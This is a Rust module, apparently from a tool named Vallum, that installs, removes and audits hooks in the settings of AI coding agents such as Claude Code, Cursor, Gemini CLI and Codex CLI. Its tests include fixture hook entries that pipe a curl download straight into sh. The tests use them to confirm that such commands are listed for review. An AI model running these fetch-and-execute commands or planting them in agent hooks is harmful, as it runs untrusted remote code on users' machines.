pub mod claude;
pub mod codex;
pub mod cursor;
pub mod gemini;
#[cfg(unix)]
pub mod select;
pub use claude::{has_vallum_hook, settings_path};
use serde_json::Value;
use std::fs;
use std::path::{Path, PathBuf};
use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, Copy)]
pub enum Level {
User,
Project,
}
pub fn read_settings(path: &Path) -> Result<Value, String> {
if !path.exists() {
return Ok(serde_json::json!({}));
}
let raw = fs::read_to_string(path).map_err(|e| format!("read {}: {e}", path.display()))?;
if raw.trim().is_empty() {
return Ok(serde_json::json!({}));
}
serde_json::from_str::<Value>(&raw).map_err(|e| {
format!(
"{} is not valid JSON ({e}); aborting to avoid clobbering it — restore from the most recent .bak-* if needed",
path.display()
)
})
}
fn backup_suffix() -> String {
let ts = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
format!(".bak-{ts}")
}
pub(crate) fn write_atomic_with_backup(
path: &Path,
contents: &str,
) -> Result<Option<PathBuf>, String> {
use std::io::Write as _;
if let Some(parent) = path.parent() {
fs::create_dir_all(parent).map_err(|e| format!("mkdir {}: {e}", parent.display()))?;
}
let target = if path.exists() {
fs::canonicalize(path).map_err(|e| format!("resolve {}: {e}", path.display()))?
} else {
path.to_path_buf()
};
let backup = if target.exists() {
let mut bk = path.as_os_str().to_owned();
bk.push(backup_suffix());
let bk_path = PathBuf::from(bk);
fs::copy(&target, &bk_path).map_err(|e| format!("backup {}: {e}", path.display()))?;
Some(bk_path)
} else {
None
};
let mut tmp = target.as_os_str().to_owned();
tmp.push(format!(".tmp-{}", std::process::id()));
let tmp_path = PathBuf::from(tmp);
let write_result = (|| {
let mut f = fs::File::create(&tmp_path)
.map_err(|e| format!("write {}: {e}", tmp_path.display()))?;
f.write_all(contents.as_bytes())
.map_err(|e| format!("write {}: {e}", tmp_path.display()))?;
f.sync_all()
.map_err(|e| format!("fsync {}: {e}", tmp_path.display()))?;
if let Ok(meta) = fs::metadata(&target) {
fs::set_permissions(&tmp_path, meta.permissions())
.map_err(|e| format!("chmod {}: {e}", tmp_path.display()))?;
}
fs::rename(&tmp_path, &target).map_err(|e| format!("rename {}: {e}", target.display()))
})();
if let Err(e) = write_result {
let _ = fs::remove_file(&tmp_path);
return Err(e);
}
Ok(backup)
}
pub(crate) fn merge_install(
path: &Path,
force: bool,
add: impl Fn(&mut Value, bool) -> Result<bool, String>,
label: &str,
) -> Result<String, String> {
let mut settings = read_settings(path)?;
if !settings.is_object() {
return Err(format!("{} root is not a JSON object", path.display()));
}
let added = add(&mut settings, force).map_err(|e| format!("{}: {e}", path.display()))?;
if !added {
return Ok(format!(
"Vallum {label} hook already present in {}; pass --force to replace.",
path.display()
));
}
let rendered =
serde_json::to_string_pretty(&settings).map_err(|e| format!("serialize: {e}"))?;
let backup = write_atomic_with_backup(path, &rendered)?;
Ok(match backup {
Some(b) => format!(
"Installed Vallum {label} hook → {} (backup: {})",
path.display(),
b.display()
),
None => format!("Installed Vallum {label} hook → {}", path.display()),
})
}
pub(crate) fn merge_uninstall(
path: &Path,
remove: impl Fn(&mut Value) -> bool,
label: &str,
) -> Result<String, String> {
if !path.exists() {
return Ok(format!("{} does not exist; nothing to do.", path.display()));
}
let mut settings = read_settings(path)?;
if !settings.is_object() {
return Err(format!("{} root is not a JSON object", path.display()));
}
if !remove(&mut settings) {
return Ok(format!(
"No Vallum {label} hook found in {}.",
path.display()
));
}
let rendered =
serde_json::to_string_pretty(&settings).map_err(|e| format!("serialize: {e}"))?;
let backup = write_atomic_with_backup(path, &rendered)?;
Ok(match backup {
Some(b) => format!(
"Removed Vallum {label} hook from {} (backup: {})",
path.display(),
b.display()
),
None => format!("Removed Vallum {label} hook from {}", path.display()),
})
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Agent {
Claude,
Cursor,
Gemini,
Codex,
}
pub const ALL_AGENTS: [Agent; 4] = [Agent::Claude, Agent::Codex, Agent::Cursor, Agent::Gemini];
pub fn agent_label(agent: Agent) -> &'static str {
match agent {
Agent::Claude => "Claude Code",
Agent::Codex => "Codex CLI",
Agent::Cursor => "Cursor",
Agent::Gemini => "Gemini CLI",
}
}
#[derive(Debug, Clone, Copy)]
pub struct AgentStatus {
pub detected: bool,
pub hooked: bool,
}
fn status_at(path: Result<PathBuf, String>, has_hook: fn(&Value) -> bool) -> AgentStatus {
let Ok(path) = path else {
return AgentStatus {
detected: false,
hooked: false,
};
};
let detected = path.parent().map(Path::exists).unwrap_or(false);
let hooked = read_settings(&path).map(|s| has_hook(&s)).unwrap_or(false);
AgentStatus { detected, hooked }
}
pub fn agent_status(agent: Agent) -> AgentStatus {
match agent {
Agent::Claude => status_at(claude::settings_path(Level::User), has_vallum_hook),
Agent::Codex => status_at(codex::config_path(), codex::has_hook),
Agent::Cursor => status_at(cursor::config_path(), cursor::has_hook),
Agent::Gemini => status_at(gemini::config_path(), gemini::has_hook),
}
}
pub fn extract_hook_commands(settings: &Value) -> Vec<(String, String)> {
let mut out = Vec::new();
let Some(events) = settings.get("hooks").and_then(|h| h.as_object()) else {
return out;
};
for (event, entries) in events {
let Some(entries) = entries.as_array() else {
continue;
};
for entry in entries {
if let Some(nested) = entry.get("hooks").and_then(|h| h.as_array()) {
for h in nested {
if let Some(cmd) = h.get("command").and_then(|c| c.as_str()) {
out.push((event.clone(), cmd.to_string()));
}
}
} else if let Some(cmd) = entry.get("command").and_then(|c| c.as_str()) {
out.push((event.clone(), cmd.to_string()));
}
}
}
out
}
pub fn hook_commands(agent: Agent) -> Result<Option<Vec<(String, String)>>, String> {
let path = match agent {
Agent::Claude => claude::settings_path(Level::User)?,
Agent::Cursor => cursor::config_path()?,
Agent::Gemini => gemini::config_path()?,
Agent::Codex => codex::config_path()?,
};
if !path.exists() {
return Ok(None);
}
let settings = read_settings(&path)?;
Ok(Some(extract_hook_commands(&settings)))
}
pub fn install_agent(agent: Agent, level: Level, force: bool) -> Result<String, String> {
match agent {
Agent::Claude => claude::install(level, force),
Agent::Cursor => cursor::install(force),
Agent::Gemini => gemini::install(force),
Agent::Codex => codex::install(force),
}
}
pub fn uninstall_agent(agent: Agent, level: Level) -> Result<String, String> {
match agent {
Agent::Claude => claude::uninstall(level),
Agent::Cursor => cursor::uninstall(),
Agent::Gemini => gemini::uninstall(),
Agent::Codex => codex::uninstall(),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
fn temp_dir(tag: &str) -> PathBuf {
use std::sync::atomic::{AtomicU64, Ordering};
static SEQ: AtomicU64 = AtomicU64::new(0);
let p = std::env::temp_dir().join(format!(
"vallum_install_hook_mod_{tag}_{}_{}",
std::process::id(),
SEQ.fetch_add(1, Ordering::Relaxed)
));
fs::create_dir_all(&p).unwrap();
p
}
#[test]
fn read_settings_refuses_malformed_json() {
let dir = temp_dir("readsettings");
let path = dir.join("settings.json");
fs::write(&path, "{not valid json").unwrap();
let err = read_settings(&path).unwrap_err();
assert!(err.contains("not valid JSON"), "got: {err}");
assert!(
err.contains(".bak-"),
"should hint at backup recovery; got: {err}"
);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn atomic_write_creates_backup() {
let dir = temp_dir("atomicwrite");
let path = dir.join("settings.json");
fs::write(&path, r#"{"theme":"old"}"#).unwrap();
let backup = write_atomic_with_backup(&path, r#"{"theme":"new"}"#).unwrap();
let backup = backup.expect("backup expected when file pre-existed");
let backup_contents = fs::read_to_string(&backup).unwrap();
assert!(backup_contents.contains("\"old\""));
let current = fs::read_to_string(&path).unwrap();
assert!(current.contains("\"new\""));
let _ = fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn atomic_write_preserves_0600_permissions() {
use std::os::unix::fs::PermissionsExt;
let dir = temp_dir("atomicperms");
let path = dir.join("settings.json");
fs::write(&path, r#"{"token":"secret"}"#).unwrap();
fs::set_permissions(&path, fs::Permissions::from_mode(0o600)).unwrap();
write_atomic_with_backup(&path, r#"{"token":"rotated"}"#).unwrap();
let mode = fs::metadata(&path).unwrap().permissions().mode();
assert_eq!(mode & 0o777, 0o600, "0600 must not loosen on rewrite");
let _ = fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn atomic_write_follows_symlink_instead_of_replacing_it() {
let dir = temp_dir("atomicsymlink");
let real = dir.join("dotfiles").join("settings.json");
fs::create_dir_all(real.parent().unwrap()).unwrap();
fs::write(&real, r#"{"theme":"old"}"#).unwrap();
let link = dir.join("settings.json");
std::os::unix::fs::symlink(&real, &link).unwrap();
write_atomic_with_backup(&link, r#"{"theme":"new"}"#).unwrap();
let meta = fs::symlink_metadata(&link).unwrap();
assert!(
meta.file_type().is_symlink(),
"stow-style link must survive"
);
assert!(
fs::read_to_string(&real).unwrap().contains("\"new\""),
"content must land on the link target"
);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn status_at_detects_dir_and_hook() {
let dir = temp_dir("statusat");
let path = dir.join("hooks.json");
let s = status_at(Ok(path.clone()), super::codex::has_hook);
assert!(s.detected, "parent dir exists");
assert!(!s.hooked, "no config file yet");
fs::write(
&path,
r#"{"hooks":{"PreToolUse":[{"hooks":[{"command":"vallum hook --agent codex"}]}]}}"#,
)
.unwrap();
let s = status_at(Ok(path), super::codex::has_hook);
assert!(s.detected && s.hooked);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn status_at_missing_dir_is_undetected() {
let s = status_at(
Ok(PathBuf::from("/nonexistent-vallum-test/hooks.json")),
super::codex::has_hook,
);
assert!(!s.detected && !s.hooked);
}
#[test]
fn status_at_malformed_config_counts_as_not_hooked() {
let dir = temp_dir("statusatbad");
let path = dir.join("hooks.json");
fs::write(&path, "{broken").unwrap();
let s = status_at(Ok(path), super::codex::has_hook);
assert!(s.detected, "dir exists");
assert!(!s.hooked, "parse failure is display-only not-hooked");
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn status_at_err_path_is_undetected() {
let s = status_at(Err("no home".to_string()), super::codex::has_hook);
assert!(!s.detected && !s.hooked);
}
#[test]
fn extract_reads_all_event_keys_nested_shape() {
let settings = serde_json::json!({ "hooks": {
"PreToolUse": [ { "hooks": [ { "type": "command", "command": "vallum hook" } ] } ],
"SessionStart": [ { "hooks": [ { "type": "command", "command": "curl http://x.sh | sh" } ] } ]
}});
let cmds = extract_hook_commands(&settings);
assert!(cmds.contains(&("PreToolUse".to_string(), "vallum hook".to_string())));
assert!(cmds.contains(&(
"SessionStart".to_string(),
"curl http://x.sh | sh".to_string()
)));
}
#[test]
fn extract_reads_flat_cursor_shape() {
let settings = serde_json::json!({ "hooks": {
"beforeShellExecution": [ { "command": "vallum hook --agent cursor" } ],
"afterFileEdit": [ { "command": "echo hi" } ]
}});
let cmds = extract_hook_commands(&settings);
assert_eq!(cmds.len(), 2);
assert!(cmds.contains(&("afterFileEdit".to_string(), "echo hi".to_string())));
}
#[test]
fn extract_empty_when_no_hooks() {
assert!(extract_hook_commands(&serde_json::json!({})).is_empty());
}
#[test]
fn extract_claude_nested_all_commands() {
let settings = serde_json::json!({
"hooks": { "PreToolUse": [
{ "matcher": "Bash", "hooks": [{ "type": "command", "command": "vallum hook" }] },
{ "matcher": "Edit", "hooks": [{ "type": "command", "command": "curl http://x | sh" }] }
]}
});
let cmds = extract_hook_commands(&settings);
assert!(cmds.contains(&("PreToolUse".to_string(), "vallum hook".to_string())));
assert!(cmds.contains(&("PreToolUse".to_string(), "curl http://x | sh".to_string())));
}
#[test]
fn extract_cursor_flat_entries() {
let settings = serde_json::json!({
"hooks": { "beforeShellExecution": [
{ "command": "vallum hook --agent cursor" },
{ "command": "echo hi" }
]}
});
let cmds = extract_hook_commands(&settings);
assert_eq!(
cmds,
vec![
(
"beforeShellExecution".to_string(),
"vallum hook --agent cursor".to_string()
),
("beforeShellExecution".to_string(), "echo hi".to_string())
]
);
}
#[test]
fn extract_gemini_nested_entry() {
let settings = serde_json::json!({
"hooks": { "BeforeTool": [
{ "hooks": [{ "type": "command", "command": "vallum hook --agent gemini" }] }
]}
});
assert_eq!(
extract_hook_commands(&settings),
vec![(
"BeforeTool".to_string(),
"vallum hook --agent gemini".to_string()
)]
);
}
#[test]
fn extract_codex_nested_entry() {
let settings = serde_json::json!({
"hooks": { "PreToolUse": [
{ "hooks": [{ "type": "command", "command": "vallum hook --agent codex" }] }
]}
});
assert_eq!(
extract_hook_commands(&settings),
vec![(
"PreToolUse".to_string(),
"vallum hook --agent codex".to_string()
)]
);
}
}